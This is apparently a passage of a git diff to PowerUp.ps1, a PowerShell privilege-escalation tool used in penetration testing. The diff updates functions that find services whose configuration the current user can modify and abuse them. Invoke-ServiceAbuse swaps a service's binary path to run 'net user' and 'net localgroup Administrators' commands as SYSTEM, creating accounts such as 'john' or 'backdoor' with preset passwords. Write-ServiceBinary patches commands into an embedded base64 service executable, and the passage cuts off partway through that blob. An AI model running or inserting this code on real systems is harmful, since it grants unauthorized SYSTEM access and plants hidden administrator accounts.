$Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath $Out | Add-Member Noteproperty 'ModifiableFile' $_.Path @@ -1472,7 +1478,7 @@ function Get-ModifiableService { $CanRestart = $False } - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname @@ -1497,7 +1503,7 @@ function Get-ServiceDetail { the specified service for details like binPath, and outputs everything. .PARAMETER Service - + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER ServiceName @@ -1516,6 +1522,7 @@ function Get-ServiceDetail { Gets detailed information about the 'VulnSVC' service. #> + [CmdletBinding(DefaultParameterSetName='ServiceName')] param ( [Parameter(ParameterSetName='ServiceName', Position = 0, Mandatory = $True)] @@ -1545,7 +1552,7 @@ function Get-ServiceDetail { catch{ Write-Warning "Error: $_" $null - } + } } } } @@ -1561,19 +1568,31 @@ function Invoke-ServiceAbuse { <# .SYNOPSIS - This function stops a service, modifies it to create a user, starts - the service, stops it, modifies it to add the user to the specified group, - stops it, and then restores the original EXE path. It can also take a - custom -CMD argument to trigger a custom command instead of adding a user. + Abuses a function the current user has configuration rights on in order + to add a local administrator or execute a custom command. - .PARAMETER ServiceName + Author: @harmj0y + License: BSD 3-Clause - The name of the target service to abuse. + .DESCRIPTION + + Takes a ServiceProcess.ServiceController or a ServiceName the current user has configuration + modification rights on and executes a series of automated actions to execute commands as + SYSTEM. First, the service is enabled if it was set as disabled and the original service + binary path and configuration state are preserved. Then the service is stopped and the + Set-ServiceBinPath function is used to set the binary (binPath) for the service to a series + of commands, the service is started, stopped, and the next command is configured. After + completion, the original service configuration is restored and a custom object is returned + that captures the service abused and commands run. .PARAMETER Service - + A ServiceProcess.ServiceController object from Get-Service. + .PARAMETER ServiceName + + The name of the target service to abuse. + .PARAMETER UserName The [domain\]username to add. If not given, it defaults to "john". @@ -1586,24 +1605,24 @@ function Invoke-ServiceAbuse { .PARAMETER LocalGroup Local group name to add the user to (default of 'Administrators'). - + .PARAMETER Credential A [Management.Automation.PSCredential] object specifying the user/password to add. .PARAMETER Command - - Custom local command to execute. + + Custom command to execute instead of user creation. .PARAMETER Force - + Switch. Force service stopping, even if other services are dependent. .EXAMPLE PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC - Abuses service 'VulnSVC' to add a localuser "john" with password + Abuses service 'VulnSVC' to add a localuser "john" with password "Password123! to the machine and local administrator group .EXAMPLE @@ -1617,7 +1636,7 @@ function Invoke-ServiceAbuse { PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" - Abuses service 'VulnSVC' to add a localuser "backdoor" with password + Abuses service 'VulnSVC' to add a localuser "backdoor" with password "password" to the machine and local "Power Users" group .EXAMPLE @@ -1626,6 +1645,7 @@ function Invoke-ServiceAbuse { Abuses service 'VulnSVC' to execute a custom command. #> + [CmdletBinding(DefaultParameterSetName='ServiceName')] param ( [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] @@ -1688,11 +1708,11 @@ function Invoke-ServiceAbuse { if($UserNameToAdd.Contains('\')) { # only adding a domain user to the local group, no user creation - $ServiceCommands = @("net localgroup $LocalGroup $UserName /add") + $ServiceCommands = @("net localgroup $LocalGroup $UserNameToAdd /add") } else { # create a local user and add it to the local specified group - $ServiceCommands = @("net user $UserName $Password /add", "net localgroup $LocalGroup $UserName /add") + $ServiceCommands = @("net user $UserNameToAdd $PasswordToAdd /add", "net localgroup $LocalGroup $UserNameToAdd /add") } } } @@ -1786,132 +1806,193 @@ function Write-ServiceBinary { <# .SYNOPSIS - Takes a precompiled C# service executable and binary patches in a - custom shell command or commands to add a local administrator. - It then writes the binary out to the specified location. - Domain users are only added to the specified LocalGroup. - - .PARAMETER ServiceName + Patches in the specified command to a pre-compiled C# service executable and + writes the binary out to the specified ServicePath location. - The service name the EXE will be running under. Required. + Author: @harmj0y + License: BSD 3-Clause - .PARAMETER ServicePath + .DESCRIPTION + + Takes a pre-compiled C# service binary and patches in the appropriate commands needed + for service abuse. If a -UserName/-Password or -Credential is specified, the command + patched in creates a local user and adds them to the specified -LocalGroup, otherwise + the specified -Command is patched in. The binary is then written out to the specified + -ServicePath. -ServiceName or -Service is required in order to patch in the appropriate + service name the binary will be running under. + + .PARAMETER Service + + A ServiceProcess.ServiceController object from Get-Service. - Path to write the binary out to, defaults to the local directory. + .PARAMETER ServiceName + + The service name the EXE will be running under. .PARAMETER UserName - The [DOMAIN\username] to add, defaults to 'john'. + The [domain\]username to add. If not given, it defaults to "john". + Domain users are not created, only added to the specified localgroup. .PARAMETER Password - The password to set for the added user, default to 'Password123!'. + The password to set for the added user. If not given, it defaults to "Password123!" .PARAMETER LocalGroup - Local group to add the user to, defaults to 'Administrators'. + Local group name to add the user to (default of 'Administrators'). + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object specifying the user/password to add. .PARAMETER Command - A custom command to execute. + Custom command to execute instead of user creation. + + .PARAMETER ServicePath + + Path to write the binary out to, defaults to 'service.exe' in the local directory. .EXAMPLE PS C:\> Write-ServiceBinary -ServiceName VulnSVC - Writes the service binary for VulnSVC that adds a local administrator - to the local directory. + Writes a service binary to service.exe in the local directory for VulnSVC that + adds a local Administrator (john/Password123!). .EXAMPLE - PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" + PS C:\> Get-Service VulnSVC | Write-ServiceBinary - Writes the service binary for VulnSVC that adds TESTLAB\john to the local - administrators to the local directory. + Writes a service binary to service.exe in the local directory for VulnSVC that + adds a local Administrator (john/Password123!). + + .EXAMPLE + + PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName 'TESTLAB\john' + + Writes a service binary to service.exe in the local directory for VulnSVC that adds + TESTLAB\john to the Administrators local group. .EXAMPLE PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! - Writes the service binary for VulnSVC that adds a local administrator of - name 'backdoor' with password 'Password123!' to the local directory. + Writes a service binary to service.exe in the local directory for VulnSVC that + adds a local Administrator (backdoor/Password123!). .EXAMPLE PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." - Writes the service binary for VulnSVC that executes a local command - to the local directory. + Writes a service binary to service.exe in the local directory for VulnSVC that + executes a custom command. #> - [CmdletBinding()] + [CmdletBinding(DefaultParameterSetName='ServiceName')] Param( - [Parameter(ValueFromPipeline = $True, Mandatory = $True)] + [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service, + + [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)] [String] + [ValidateNotNullOrEmpty()] $ServiceName, + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $ServicePath = "service.exe", + $UserName = 'john', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $UserName = "john", + $Password = 'Password123!', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $Password = "Password123!", + $LocalGroup = 'Administrators', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] + [Management.Automation.PSCredential] + $Credential, + + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $LocalGroup = "Administrators", + [ValidateNotNullOrEmpty()] + $Command, + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $Command + $ServicePath = "$(Convert-Path .)\service.exe" ) BEGIN { # the raw unpatched service binary $B64Binary = "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UmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgA